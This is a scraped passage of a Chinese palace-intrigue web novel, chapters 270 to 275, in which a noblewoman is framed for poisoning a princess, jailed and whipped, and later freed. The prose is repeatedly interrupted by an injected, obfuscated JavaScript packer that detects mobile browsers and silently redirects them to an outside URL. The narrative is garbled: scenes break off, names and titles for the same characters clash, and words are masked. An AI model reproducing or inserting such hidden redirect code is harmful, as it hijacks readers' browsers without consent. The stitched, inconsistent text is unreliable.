“哼,若不是因为你,芍兰又怎会变成这样?!” 尹贵妃翻了个白眼,语气中充满了怨毒和愤怒。 “她喜欢冀容白,视若珍宝,你却横插一脚,抢走了她心爱的男人。” “她为了夺回冀容白,不惜设下圈套陷害你,结果……却聪明反被聪明误,落得如今这般人不人、鬼不鬼的下场。” “这一切,还不都是因为你!” 说到最后,尹贵妃的声音陡然提高,带着一丝歇斯底里,仿佛要将所有的怨恨都发泄出来。 茅清兮沉默不语。 她不得不承认,尹贵妃的话,有几分道理。 但是,她绝不会认罪。 “臧夫人,本宫……也不想为难你。” 尹贵妃深吸一口气,努力平复自己的情绪,语气缓和下来。 “只要你答应本宫一个条件,本宫……便放你一条生路。” “什么条件?” 茅清兮心中一动,隐隐猜到了什么。 “很简单。” 尹贵妃眼中闪过一丝精光,嘴角勾起一抹诡异的笑容。 “离开冀容白。” 她一字一顿,声音不大,却如惊雷般在茅清兮耳边炸响,震得她心头一颤。 茅清兮的心,猛地一沉。 果然,和她猜想的一模一样。 为了冀容白,尹贵妃竟能做到如此地步……这心计,这手段,当真令人不寒而栗。栖鸾殿内,烛火摇曳,将紧张的气氛烘托得更加压抑。空气仿佛凝固,让人喘不过气。 “陛下,您要为巧芍做主啊!” 突然,尹贵妃凄厉的哭喊声撕破了这令人窒息的寂静。她猛地扑向皇帝,紧紧抓住他的龙袍下摆,仿佛那是她唯一的救命稻草。 她哭得梨花带雨,精致的妆容早已哭花,发髻也散乱不堪,几缕青丝垂落在脸颊边,更衬得她面色惨白,楚楚可怜,让人不忍直视。 皇帝的心,一下子就软了。他轻轻拥住怀中颤抖的娇躯,柔声安慰: “爱妃莫要伤心,巧芍吉人自有天相,定会没事的。” 语气虽轻柔,但任谁都能听出其中的焦急与担忧。他抬眼,看向跪在地上的茅清兮,眼神如刀,恨不得将她剐了。 “茅清兮,这到底是怎么回事?!” 他的声音低沉沙哑,每一个字都像从牙缝中挤出来,带着压抑的怒火。 茅清兮低垂着头,乌黑的青丝铺散在冰冷的地面上。她叩首,声音沉静,却带着一丝不易察觉的颤抖: “臣妇冤枉,臣妇并未毒害四公主,请陛下明鉴。” “冤枉?” 尹贵妃猛地抬头,像是听到了什么天大的笑话。她死死盯着茅清兮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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茅清兮抬起头,看着冀容白坚毅的侧脸,心中涌起一股暖流。她知道,无论发生什么,他都会站在她身边,支持她,信任她。 第二百七十章 “请陛下明鉴,臣妇从未伤害过四公主殿下。”茅清兮的声音不大,却字字清晰,掷地有声。 皇帝看着跪在地上的两人,眼中神色变幻莫测。他沉默了片刻,缓缓开口: “来人,传太医!” 内殿之中,太医们正忙着为四公主诊治,每个人的脸上都写满了凝重。 尹贵妃站在一旁,死死盯着昏迷不醒的四公主,眼中闪过一丝复杂难辨的情绪,让人猜不透她心中所想。 她轻轻拭去眼角的泪水,缓缓走入内殿。 片刻后,殿内传来尹贵妃撕心裂肺的哭声,一声比一声凄厉,仿佛要将整个栖鸾殿都震碎,闻着无不心惊胆战。 茅清兮的心,猛地一沉。 难道,尹贵妃竟真的狠心至此,不惜牺牲自己的亲生女儿吗?这个念头在她脑海中一闪而过,让她不寒而栗。 皇帝当即下令,锦衣卫封锁栖鸾殿,彻查此事。 不出茅清兮所料,尚膳监送来的所有糕点都接受了最严格的检查,连同栖鸾殿里吃剩下的那半盘,也都被太医们翻来覆去地查验了数遍。 结果,一无所获。 只有茅清兮喂给四公主的那两块糕点,被查出含有剧毒,太医判断是一种罕见的蛇毒,无色无味,**后会让人四肢无力,最终昏迷不醒。 这种**,在宫中从未出现过。 “回禀陛下,四公主所中之毒,确实罕见。但据臣所知,臧夫人精通医术,对各种**也颇有研究……” 太医的话,虽然没有明说,但已经将矛头指向了茅清兮。 “茅清兮,你还有什么话说?!”皇帝怒喝一声,眼中燃烧着熊熊怒火。 所有的证据都指向她,她已经无力辩驳。 御医步出龙殿,跪在地上,声音颤抖: “陛下,臣等无能。四公主暂无性命之忧,但蛇毒霸道,恐将……终身卧床。” 皇帝只觉得眼前一黑,差点晕厥过去。他强撑着站稳身体,指着茅清兮,手指颤抖: “你……你这个毒妇!” 他猛地将手中的茶盏掷了出去,茶水四溅,碎瓷片划破了空气,发出刺耳的声响。 “茅清兮谋害公主,罪无可赦!” 他的声音,嘶哑而愤怒,每一个字都像是从牙缝中挤出来的,带着无尽的恨意。 “来人,将她打入诏狱,择日再审!” “陛下!”冀容白试图为茅清兮辩解,但皇帝已经听不进去任何话。 “冀容白,朕念你是功臣,不与你计较。可你家那位闯下这般祸事,朕绝不姑息!”皇帝的声音冰冷无情,不容置疑。 潘云霄带着锦衣卫上前,正要将茅清兮带走。 冀容白脸色铁青,紧紧握着拳头,指节因为用力而泛白。他正要有所动作,却被茅清兮拦住了。 茅清兮轻轻摇了摇头,示意他不要冲动。她从地上站起来,整了整衣衫,平静地对潘云霄说: “苏大人,请带路吧。” 她的声音平静,没有任何波澜,仿佛即将要去的不是阴森恐怖的诏狱,而是寻常的某个地方。 潘云霄看着她,眼神复杂,他张了张嘴,似乎想说什么,但最终还是什么都没说,只是默默地转过身,走在前面。 冀容白看着茅清兮的背影,眼中闪过一丝担忧和不舍。他知道,她这是为了保护他,不想让他因为她而触怒皇帝。 他深吸一口气,努力让自己冷静下来。他知道,现在不是冲动的时候,他必须想办法救她出来。 除夕之夜,苏将军夫人谋害四公主的消息,像长了翅膀一样,迅速传遍了整个皇宫。 太医们提心吊胆地在栖鸾殿守了一夜,生怕四公主有任何闪失。 次日清晨,天刚蒙蒙亮,皇帝才疲惫地挥手让他们离去。 他和尹贵妃,在四公主的床边守了一整夜,两人都显得憔悴不堪。 尹贵妃坐在床边,眼神空洞,脸色苍白,眼眶通红,却再也流不出一滴眼泪。她只是呆呆地望着床上昏迷不醒的女儿,不知道在想些什么。 皇帝轻轻拍了拍她的肩膀,声音沙哑,带着一丝不易察觉的颤抖: “爱妃,节哀顺变。朕一定会为你和芍兰讨回公道。” 尹贵妃缓缓抬起头,看着皇帝,声音嘶哑: “陛下,臣妾只求您能为芍兰做主,严惩凶手。” 皇帝看着她,眼中闪过一丝愧疚和心疼,语气坚定: “你放心,朕绝不会让任何人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当年,皇帝选侧妃,一眼看中的是林臧雨。可华家怎么舍得让嫡女给人做妾? 第二百七十一章 于是,她这个庶女,就成了最好的替代品。 “呵,嫡女又如何?还不是要给我这个侧妃行礼?”林臧栖嘴角勾起一抹嘲讽的弧度,眼神却冰冷得没有一丝温度。 可谁能想到,林臧雨那个**,竟然背着她,勾引了皇帝,还生下了冀容白这个孽种! “**!抢了我的位置,还想抢我儿子的皇位!做梦!”林皇后越想越气,猛地一拍桌子,桌上的茶盏被震得跳了起来,茶水四溅。 周嬷嬷吓了一跳,连忙跪下,连声说道:“娘娘息怒!娘娘息怒!” 林皇后深吸一口气,努力平复着心中的怒火,指甲却深深地掐进了掌心。 “去,把刑部尚书给本宫叫来。”她缓缓开口,声音冰冷得不带一丝感情,“本宫倒要看看,那个诬陷太子的贱婢,还能嘴硬到什么时候!” 诏狱内,阴暗潮湿,散发着一股令人作呕的霉味。 茅清兮靠着冰冷的墙壁,缓缓坐了下来。身上单薄的衣衫,根本无法抵御这刺骨的寒冷。 她闭上眼睛,强迫自己冷静下来。 除夕夜宴,本该是阖家团圆的日子,可如今,她却身陷囹圄,生死未卜。 是谁,布下如此狠毒的陷阱? 尹贵妃? 还是……另有其人? 茅清兮脑海中飞快地闪过一个个念头,试图从这纷乱的线索中,找到一丝蛛丝马迹。 她想起那个侍立在尹贵妃身旁的嬷嬷。 那个嬷嬷,眼神中似乎闪过一丝不忍。 可她又能做什么呢? 在这深宫之中,人命如草芥,谁又能真正主宰自己的命运? “尹贵妃,你这一招,未免也太狠毒了些。”茅清兮喃喃自语,声音轻得几乎连自己都听不见。 她不相信,尹贵妃会为了所谓的争宠,不惜牺牲自己亲生女儿的性命。 这背后,一定还隐藏着更深的阴谋。 除非…… 茅清兮眼神一凛。 除非,尹贵妃只是一个棋子,一个被人利用的棋子。 而真正想要她命的人,是…… 她不敢再想下去。 如果真是那样,冀容白想要救她,恐怕比登天还难。 茅清兮苦笑一声,心中涌起一股无力感。 澜府。 往年热闹非凡的年夜饭,今年却冷冷清清,空无一人。 冀容白独自站在空荡荡的院子里,抬头望着漆黑的夜空,心中焦急如焚。 “将军,夫人她……不会有事吧?”长明的声音从身后传来,带着一丝颤抖。 紫姨站在长明身旁,双眼通红,显然是哭过了。 冀容白没有回头,只是沉声说道:“不会的,我一定会把她救出来。” 他的声音很轻,却带着不容置疑的坚定。 可他心里清楚,这次的事情,远比他想象的要复杂得多。 “备马!”冀容白突然说道,“去苏府。” 苏府,是锦衣卫指挥使潘云霄的府邸。 潘云霄的姐姐,曾是宫中的一名嫔妃,多年前,因为一桩**,被赐死。 冀容白知道,潘云霄一直在暗中调查姐姐的死因。 而他,或许可以利用这一点。 “将军,您是说……”富辰跟在冀容白身后,欲言又止。 “潘云霄是个聪明人,他知道该怎么做。”冀容白打断了他的话,眼中闪过一道精光,“告诉他,只要他肯帮忙,我保证,能让他姐姐沉冤得雪。” 他顿了顿,又补充道:“还有,派人去盯着安妃,让她务必保证四公主的安全。四公主若有任何闪失,唯她是问!” 安妃是宫中一个不起眼的嫔妃,但冀容白知道,她与尹贵妃之间,有着不为人知的矛盾。 或许,可以利用这一点,来牵制尹贵妃。 冀容白深吸一口气,强迫自己冷静下来。 他知道,现在,他必须步步为营,小心谨慎,不能有丝毫差错。 茅清兮的性命,就掌握在他的手中。 他绝不能让她有事。 “富辰,玄月门那边,准备得怎么样了?”冀容白问道。 “回将军,已经准备妥当,随时可以行动。”富辰沉声回答。 冀容白点了点头,眼中闪过一道寒光。 “告诉他们,今夜,我要让整个京城,都为之颤抖!”大年初一,宫里处处挂着红绸,贴着福字,一派喜庆景象。昨夜栖鸾殿的乱子,仿佛被这浓烈的年味儿给盖了过去。 皇帝依旧早起,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谁知,皇帝也跟着站了起来,淡淡地说了句:“朕去你那儿坐坐。” 安妃身子一顿,还是顺从地应了声:“是。” …… 诏狱,是个不见天日的地方。 阴冷,潮湿,空气里混杂着腐烂和血腥的气味。 第二百七十二章 能被关进这里的,都是犯了大事的朝廷要犯。 锦衣卫的审讯手段,出了名的狠辣。一声声惨叫,在这暗无天日的地牢里回荡,听得人心惊肉跳。 茅清兮心头乱跳。她知道,自己不该出现在这里。 突然,一阵脚步声由远及近,打破了这死寂。 茅清兮抬头,隔着铁栏,看见了潘云霄那张冷冰冰的脸。潘云霄走到牢门前,微微扬起下巴,对身后的锦衣卫示意:“把人带出来。” 两个锦衣卫打开牢门,粗手粗脚地将她拖了出来,绑到刑架上。 潘云霄走到她面前,冷冷地看着她,声音里没有一丝温度:“今日本官奉旨提审臧夫人,你可知罪?” “我没有加害四公主,请大人明鉴。”茅清兮的声音很轻,却很坚定。 潘云霄沉默了。 他心里跟明镜似的,茅清兮是冤枉的。可今天一大早,圣上就来了密旨,让他速速结案,要茅清兮认罪画押。 作为朝廷鹰犬头子,潘云霄只能听命行事。圣上的意思很明显,茅清兮非认罪不可。可他心里也清楚,那些所谓的证据,根本经不起推敲。但他又能如何?抗旨不遵吗? 潘云霄内心挣扎,额角青筋暴起。他死死地盯着茅清兮,好半天才从牙缝里挤出两个字:“用刑!” 茅清兮闭上了眼睛,长长的睫毛微微颤抖。她还穿着除夕夜那身华美的衣裙,领口处露出一段雪白的肌肤,耳垂上的珍珠轻轻摇晃,衬得她脸色更加苍白。 “啪!” 鞭子带着风声落下,狠狠抽在茅清兮身上,剧痛瞬间传遍全身。她忍不住闷哼一声,身子剧烈地颤抖起来。 潘云霄看着这一幕,心里仿佛被什么东西狠狠揪住。他既希望茅清兮能熬住,又不希望她继续受苦。 他是皇帝的刀,但在这把刀的内心深处,也有不愿斩断的东西。锦衣卫的规矩,他比谁都清楚,但他不能为了茅清兮,把自己也搭进去。 十鞭子下去,潘云霄再次开口,声音沙哑得不成样子:“认不认罪?” “我……没有……罪……”茅清兮咬着牙,一个字一个字地往外蹦。 潘云霄猛地闭上了眼睛。他不想再看下去了。 “把她带下去。”潘云霄无力地挥了挥手。 他知道,就算茅清兮不认,这罪名也已经坐实了。圣意难违,没人能改变结果。但他至少,还能让茅清兮少受些皮肉之苦。 从诏狱出来,潘云霄直接进宫复命。 皇帝听了他的禀报,脸色铁青。他没想到茅清兮竟然如此顽固。 离开皇宫,潘云霄只觉得身心俱疲。他漫无目的地在街上走着,不知不觉来到一家茶楼前。 “苏大人,留步。” 一个声音突然响起,潘云霄回过头,发现拦住自己去路的,是冀容白的亲卫富峻。 潘云霄眉头紧锁。冀容白找他,准没好事。 富峻似乎猜到了他的心思,低声道:“俺家大人讲过,他能帮大人。” 潘云霄眼中精光一闪。帮他?帮他什么? 他跟着富峻上了茶楼,走进二楼雅间。 冀容白正坐在窗边,静静地看着窗外。听到动静,他缓缓转过身,眼神深邃。 “苏大人,请坐。” 潘云霄冷着脸坐下。他倒要看看,冀容白能耍出什么花样。 “苏大人,咱们明人不说暗话。”冀容白开门见山,语气平淡,“你我之间,本就没什么好说的。我帮你姐姐沉冤得雪,你,保我夫人平安。” 潘云霄冷哼一声:“臧夫人犯的是死罪,苏将军是想让我徇私枉法?” “苏大人,你我心知肚明,这案子是怎么回事。”冀容白淡淡地说道,“内子是无辜的,这一点,你比谁都清楚。我要的,不是你徇私枉法,而是你秉公执法。” 潘云霄沉默了。他知道冀容白说的是实话。 冀容白接着说道:“刑部大牢里的明溪,已经**。你现在唯一的希望,就在我身上。” “你说什么?!”潘云霄猛地站起身,一脸震惊。 “昨晚,有人在刑部大牢里杀了他。”冀容白的声音没有一丝起伏,“现在,除了我,没人能帮你。你是皇上手里的刀,你应该明白,太子殿下还能不能坐稳这个位置。” 潘云霄颓然坐回椅子上。冀容白说的每一个字,都像一把刀,狠狠地插在他的心上。 他当然明白冀容白的意思。皇上对太子的态度,朝中局势的变化,他都看在眼里。可他又能怎么样?他只是皇上手中的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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狱卒急忙掏出钥匙,“哗啦”一声打开牢门,一股霉味扑面而来。 第二百七十三章 他快步走进去,蹲下身,粗鲁地推了推茅清兮的肩膀。 “喂,问你话呢!**没?” 就在他触碰到茅清兮的瞬间,原本毫无生气的女子,猛地睁开了眼睛。 那双眼睛,漆黑如墨,锐利如刀,哪有半分将死之人的模样? 狱卒吓了一跳,下意识地后退半步。 “没……没死就吱个声!装什么死!”他稳住心神,恶声恶气地骂道,“你们这些千金小姐,就是娇气!这才挨了几鞭子就寻死觅活……” 话虽如此,他垂在身侧的右手,却悄无声息地将一个灰色瓷瓶,塞进了茅清兮手中。 茅清兮手指冰凉,微微颤抖,却稳稳地接住了瓷瓶。 她费力地撑起上半身,靠着冰冷的墙壁。 狱卒见状,嘴里更不干不净了。 “我说你也是贱骨头,早点认罪,少受点罪不好么?” 他一边骂骂咧咧,一边从怀里掏出一张纸条,在转身时,塞进了茅清兮手中。 “女人真是费事!” 狱卒啐了一口,转身出了牢门。 “怎么样,**没?”另一名巡视完的狱卒走过来,随口问道。 “死什么死?好着呢!” 牢门再次“哐当”一声关上,沉重的锁链声,在寂静的牢房里回荡。 两个狱卒的身影,渐渐消失在黑暗中。 茅清兮这才缓缓舒出一口气,紧绷的身体,也稍稍放松了些。 她颤抖着手,打开瓷瓶,倒出几粒黑色的药丸,仰头吞下。 药丸入口即化,带着一股淡淡的苦涩,却让茅清兮混沌的头脑清醒了几分。 她展开手中的纸条,借着从铁窗外透进来的微弱光线,看清了上面的字迹。 ——司玄苏。 青羽暗卫的人,果然靠得住。 鞭子抽到身上的时候,她就察觉到了异样。 虽看着吓人,但力道卸了几分。 否则,以她这副病躯,十鞭下去,不死也得丢半条命。 这把火,还是她自己点的。 早在入狱前,茅清兮就算准了皇帝的心思。 尹贵妃背后的人,昭然若揭。 就算有那老嬷嬷指证,皇帝也不会放过她。 无他,她碰了皇帝的逆鳞。 与其坐以待毙,不如主动出击。 茅清兮早早给司玄苏递了信,让他盯紧林臧雨。 皇帝看似无懈可击,实则有两个软肋。 冀容白,林臧雨。 动冀容白?她下不了手。 那就只能是林臧雨了。 兔子急了还咬人呢,何况是她茅清兮? 可司玄苏信上说,冀容白先她一步,将林臧雨从秦府弄了出来,关在了澜府。 茅清兮一愣,随即笑出了声。 她瞬间明白了冀容白的用意。 这是要拿亲娘,去威胁亲爹。 够狠。 也只有他冀容白,才做得出这种事。 茅清兮笑得有些无力,眼角却有晶莹的泪光闪烁。 澜府后院。 身着黑色劲装的鹰羽卫,将整个院落围得水泄不通,连只苍蝇都飞不出去。 林臧雨被困在其中,不得自由。 她身边的嬷嬷急得团团转,像热锅上的蚂蚁。 “夫人,大少爷他……他怎能如此对您?这分明就是囚禁!” 林臧雨低垂着眼帘,纤细的手指,缓缓拨动着一串檀木佛珠。 一颗颗圆润的珠子,在她指尖滑过,发出轻微的碰撞声。 “吱呀——” 院门被推开,冀容白走了进来。 他逆光而立,身形高大,在地上投下一道长长的阴影。 林臧雨的手指猛地一顿。 “啪嗒!” 佛珠的线断了,珠子散落一地。 一颗佛珠,骨碌碌地滚到了冀容白的脚边。 他抬脚,踩了下去。 “咔嚓!” 佛珠碎裂,声音清脆。 冀容白一步步走到林臧雨面前,居高临下。 林臧雨再也无法维持表面的平静,她猛地抬起头,眼中燃着怒火。 “冀容白,你想做什么?!” 她的声音尖锐,带着一丝不易察觉的颤抖。 冀容白微微俯身,凑近林臧雨,唇角勾起一抹冷笑。 “母亲,您就在这儿安心住下。父皇何时放了我的夫人,我便何时送您回秦府。” “你……为了茅清兮,要软禁我?” 林臧雨的声音,难以置信。 冀容白脸上的笑意更浓,但眼中却毫无温度。 “谁让母亲您,在父皇心里那么重要呢?” 他直起身,语气轻佻:“儿子也是迫不得已。您说,父皇连我的女人都敢动,我请他心上人来喝杯茶,这要求,不过分吧?” 林臧雨沉默了。 她知道,冀容白说的是事实。 这个儿子,早已不是当年那个任她摆布的孩子。 他冷酷,无情,为达目的,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他颓然地站在原地,看着冀容白消失的方向,心中五味杂陈。 第二百七十四章 他想不明白,事情怎么会变成这样? 林臧雨…… 那个他放在心尖上,疼了一辈子的女人,当真如冀容白所说,手上沾满了鲜血? 他不敢相信,也不愿相信。 可冀容白的话,却像一根刺,扎在他的心里,隐隐作痛。 他了解自己的儿子,他不会无的放矢。 难道,他真的错了? 他一直以为,林臧雨是朵不染纤尘的白莲花。 可如今看来,这白莲花,或许早已被染成了黑色。 冀徒荣的心中,涌起一股巨大的失落和迷茫。 **自己该相信谁,也不知道自己该怎么办。 皇宫,栖鸾殿。 与澜府的剑拔**张不同,这里,却是一派祥和。 尹贵妃斜倚在贵妃榻上,手里拿着一串佛珠,缓缓拨动着。 她的脸上,带着淡淡的笑意,仿佛一切尽在掌握。 “娘娘,苏将军把您身边的嬷嬷带走了。” 一名宫女小心翼翼地禀报道。 尹贵妃眼皮都没抬一下,只是淡淡地“嗯”了一声。 “慌什么?不过是条老狗,没了就没了。” 她的声音,轻柔而慵懒,仿佛在说一件无关紧要的小事。 可那宫女却听得心惊胆战。 那嬷嬷,可是伺候了尹贵妃多年的老人,就这么……没了? “娘娘,苏将军他……会不会……” 宫女欲言又止。 尹贵妃睁开眼,看了她一眼,眼神中带着一丝嘲讽。 “会什么?会查到我头上?他敢吗?” 她冷笑一声,眼中闪过一丝狠厉。 “就算他查到了,又能如何?他敢动我吗?” “别忘了,我可是贵妃,是皇上最宠爱的女人!”“贵妃娘娘明鉴,此事牵涉内子,我只能选择这个办法。” 冀容白垂眸,长睫敛去眸中锋芒。他语气沉静,却如磐石般坚定。 “秋嬷嬷已经招认,在给四公主的糕点中**。如今真凶落网,娘娘也可以安心了。” 话语如刀,字字扎在尹贵妃心上。 尹贵妃斜倚在软榻上,指尖轻抚着腕间的玉镯,唇角勾起一抹似有若无的笑。 “苏将军,果然好手段。” 她眼波流转,似嗔似怨, “既然如此,” 她微微抬高了声调, “便将这刁奴押去面圣吧。本宫,也该给陛下一个交代。” 冀容白不再多言,押着秋嬷嬷便往养心殿而去。 这皇宫,他进出自由,如入无人之境。 养心殿内,气氛凝重,如山雨欲来。 冀容白一进门,双膝跪地,沉声道: “臣,冀容白,参见陛下。” 他将事情原委缓缓道来,不卑不亢。 圣上端坐在龙椅之上,脸色阴沉得能滴出水来。 龙案上的奏折被他捏得起了褶皱。 他万万没想到,冀容白竟如此胆大妄为, “冀容白!” 圣上怒喝,声音在空旷的大殿内回荡, “谁给你的胆子,敢越过朕,私自去后宫拿人?!” 他自然清楚冀容白幼时在宫中长大,曾允他自由出入。 可这,不代表他能如此放肆! 皇上眯起双眼,努力平复着怒气。 他已经能想到,明日早朝,那些御史们会如何**冀容白。 “陛下恕罪。” 冀容白叩首,声音低沉, “臣救妻心切,一时失了分寸,还请陛下责罚。” 略微停顿,他话锋一转, “但,秋嬷嬷毒害四公主一事,铁证如山,还请陛下明察。” 圣上冷冷地盯着他,目光如鹰隼般锐利, 似乎要将他看穿。 一旁,秋嬷嬷跪在地上,浑身颤抖如筛糠。 她是尹贵妃的心腹,这些年经历过无数风浪。 但这一次,她是真的怕了。 冀容白,这个男人,简直如修罗一般! 他竟用那种手段…… 秋嬷嬷不敢再想下去,只将头深深埋下, 颤声开口: “奴婢……奴婢曾被四公主责罚,心存怨恨,所以才……才起了杀心……” 她紧咬着下唇,不让自己发出哭声, “奴婢罪该万死,罪该万死……” “哦?” 圣上语气玩味, “那这蛇毒,你又是从何处得来?” “是奴婢……我前几天离开皇宫,替娘娘采买吃食时,偷偷带进宫的。” 秋嬷嬷的声音越来越小,头也越来越低。 圣上瞥了尹贵妃一眼。 他知道,这女人喜欢民间小食。 他猛地一拍桌案,怒声斥责: “大胆!你可知谋害皇嗣,乃是诛九族的大罪?!” 秋嬷嬷吓得肝胆俱裂,不住地磕头: “奴婢有罪!奴婢有罪……” 圣上看向冀容白。 他清楚,这小子是在逼他。 秋嬷嬷的家人,此刻恐怕凶多吉少…… 圣上心中烦躁,面上却不动声色。 良久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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潘云霄走到茅清兮的牢房前,对看守使了个眼色。 第二百七十五章 茅清兮缓缓抬起头,眼神清澈,却也带着一丝疲惫。 进了诏狱这些天,她始终平静。 只有在用刑时,才会流露出痛苦的神色。 潘云霄看着她,心中五味杂陈, “陛下有旨,臧夫人无罪,即刻释放。” 茅清兮缓缓站起身, “多谢。” 声音沙哑,却依旧平静。 她身形微晃,潘云霄下意识想去扶她, 却在最后一刻停住了动作, 只是默默地退后,让开道路。 与茅清兮一同被释放的,还有俞霜。 她身上也带着伤, 锦衣卫为了让茅清兮认罪,对俞霜也用了刑。 走出诏狱,茅清兮看着俞霜,轻声说: “连累你了。” “主子何出此言,” 俞霜摇了摇头, “奴婢这条命,本就是主子的。” 语气坚定,不带一丝迟疑。 茅清兮微微颔首,没有再说什么。 情义,无需多言。 澜府的马车,早已等候在诏狱外。 富峻站在车旁,神色焦灼。 “夫人。” 见到茅清兮出来,他连忙迎上前。 茅清兮勉强笑了笑, 她看向马车,期待着冀容白的身影。 她以为,他会来接她。 可当她掀开帘子,却发现车内空无一人。 心,瞬间沉了下去。 她回头看向富峻,正要开口询问, 却见富峻脸色不对, “你们主子呢?” 她的声音很轻,却带着一丝颤抖。 “主子他……他……” 富峻支支吾吾,不敢看她的眼睛。 “说实话!” 茅清兮的声音陡然严厉。 富峻低下头,眼眶泛红: “主子被禁足了……因为抓了冀大夫人,陛下大怒,将主子软禁在府中……” 茅清兮只觉得一阵眩晕, 但她很快便稳住了心神, “先回府。” 她声音嘶哑,却异常冷静, “我要去接他回来。” 她,绝不会让冀容白出事。鞭炮声稀落,年味却浓。 只是这京城的年味,飘不进澜府的高墙。 澜府上下,静得像座无人问津的空宅。 两个主子,一个刚从诏狱里被捞出来,身子还没养好,另一个又陷了进去。 底下的人没了主心骨,更没了过年的心思。 紫姨端着药碗,眼圈泛红,目光一错不错地落在茅清兮身上。 茅清兮接过药碗,指尖触到碗壁的温热,心头微暖,轻声道: “不过是些皮外伤,把药都吞下去了。紫姨再帮我敷点外伤药,将养些时日,也就好了。” “哪能好得那么快。” 紫姨嗔怪着,可还是放轻了手上的动作,小心翼翼地取来药箱,细细地替她清理伤口,像是对待一件稀世珍宝。 她心疼啊。 将军常年在战场上,刀口舔血,受伤是家常便饭,她虽心疼,却也知道在所难免。 可小姐不一样,金尊玉贵地养在京城,哪里受过这种罪? 这细皮嫩肉的,从诏狱里走一遭,出来就破破烂烂的。 茅清兮知道紫姨心里难受,怎么劝也没用,由着她眼泪在眼眶里打转,索性闭了嘴,任由她在伤口上涂抹药膏。 药敷好,茅清兮刚要起身,被紫姨一把按住。 她披上一件外裳,起身往外走。 “小姐这是要去哪儿?” 紫姨急了,声音都带了颤, “伤成这样,就该好好歇着,哪儿也不能去!” 茅清兮回身,步子却没停,语气平静得像在说一件再寻常不过的事: “冀容白还在牢里,我得去想法子,救他出来。” 紫姨张了张嘴,最终只化作一声几不可闻的叹息。 她知道,小姐向来是个有主意的。 小姐是将军豁出性命才救下的,现在将军又因她陷入险境,小姐怎么可能坐视不理? 书房里,燃着炭火,驱散了几分冬日的寒意。 茅清兮也不绕弯子,开门见山: “富峻,去把富辰找来,我有事要吩咐他。” “是,夫人。” 富峻应声,躬身退了出去。 “夫人。” 片刻后,富辰推门而入,单膝跪地,声音低沉。 “起来吧。” 茅清兮示意富辰起身, “我需要玄月门的消息网。” 富辰闻言,眼中闪过一丝诧异,但很快便恢复了平静: “夫人但请吩咐。” 茅清兮看着他,缓缓道: “我要你查两个人,不,准确地说,是一个人和她身边所有相关的人。” “夫人请讲。” 富辰依旧垂首,语气不起波澜。 “华家,林臧雨。” 茅清兮顿了顿, “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450428|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要知道华家这些年所有的生意往来,银钱流向,还有林臧雨……从她出生到现在,所有能查到的,事无巨细,我全都要。” 富辰应道:“是。” “至于玄月门那边……” 茅清兮略一沉吟, “你拿着我的令牌,便宜行事。记住,我要的是最快、最准的消息。” 富辰接过茅清兮递来的令牌,入手冰凉,正是那块汉白玉佩。 他这才想起,当初主子将这块象征着玄月门门主身份的玉佩交给夫人时,自己还曾暗自揣测过主子的用意。 如今看来,主子是早就将夫人视作了自己人,甚至……是玄月门的另一位主人。 富辰将玉佩收好,躬身行礼: “属下遵命。” 茅清兮看着富辰离去的背影,又想起这块玉佩的来历。 那时新婚燕尔,冀容白还是一副弱不禁风的样子,自己对他也是诸多防备。 可他却将这玉佩随手丢给自己,算作她的嫁妆。 当时自己只当是他一时兴起,并未放在心上,如今想来,那时的冀容白,恐怕就已经在为今日布局。 她心中五味杂陈,既有对冀容白深沉心思的感叹,又有一丝难以言说的暖意。 “司玄苏。” 茅清兮将思绪收回,又唤来另一名心腹。 